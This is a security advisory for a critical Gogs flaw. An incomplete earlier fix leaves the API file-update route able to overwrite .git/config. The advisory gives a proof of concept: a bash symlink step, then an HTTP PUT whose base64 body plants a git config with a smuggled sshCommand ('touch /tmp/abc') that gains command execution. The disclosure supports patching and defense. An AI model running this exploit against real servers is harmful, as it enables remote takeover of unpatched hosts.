PT-2026-6859 · Go · Gogs.Io/Gogs

Published

2026-02-06

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Updated

2026-02-06

CVSS v4.0

9.3

Critical

VectorAV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Summary

Due to the insufficient patch for the https://github.com/gogs/gogs/security/advisories/GHSA-wj44-9vcg-wjq7, it's still possible to update files in the .git directory and achieve remote command execution.

Details

Function UpdateRepoFile security check under some if conditions. While UpdateRepoFile call in API router will NOT match any of them. It's still possible to update .git/config file via API router. https://github.com/gogs/gogs/blob/d940e692ec58abd45e648c054d7dfd88909034ec/internal/route/api/v1/repo/contents.go#L197-L206

PoC

bash
# add a symlink file and push to repo.
ln -s .git/config link
git add link
git commit -m 'add' && git push
Update file via API router
http
PUT /api/v1/repos/demo/vul/contents/link HTTP/1.1
Content-Type: application/json
Host: localhost:3000
Authorization: token {token}

{"message":"message","committer":{"name":"test","email":"a@b.com"},"content":"W2NvcmVdCglyZXBvc2l0b3J5Zm9ybWF0dmVyc2lvbiA9IDAKCWZpbGVtb2RlID0gdHJ1ZQoJYmFyZSA9IGZhbHNlCglsb2dhbGxyZWZ1cGRhdGVzID0gdHJ1ZQoJaWdub3JlY2FzZSA9IHRydWUKCXByZWNvbXBvc2V1bmljb2RlID0gdHJ1ZQoJc3NoQ29tbWFuZCA9IHRvdWNoIC90bXAvYWJjCltyZW1vdGUgIm9yaWdpbiJdCgl1cmwgPSBzc2g6Ly9naXRAbG9jYWxob3N0L2RlbW8vdnVsLmdpdAoJZmV0Y2ggPSArcmVmcy9oZWFkcy8qOnJlZnMvcmVtb3Rlcy9vcmlnaW4vKgpbYnJhbmNoICJtYXN0ZXIiXQoJcmVtb3RlID0gb3JpZ2luCgltZXJnZSA9IHJlZnMvaGVhZHMvbWFzdGVy"}

Impact

RCE

Fix

OS Command Injection

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Weakness Enumeration

Related Identifiers

GHSA-GG64-XXR9-QHJP

Affected Products

Gogs.Io/Gogs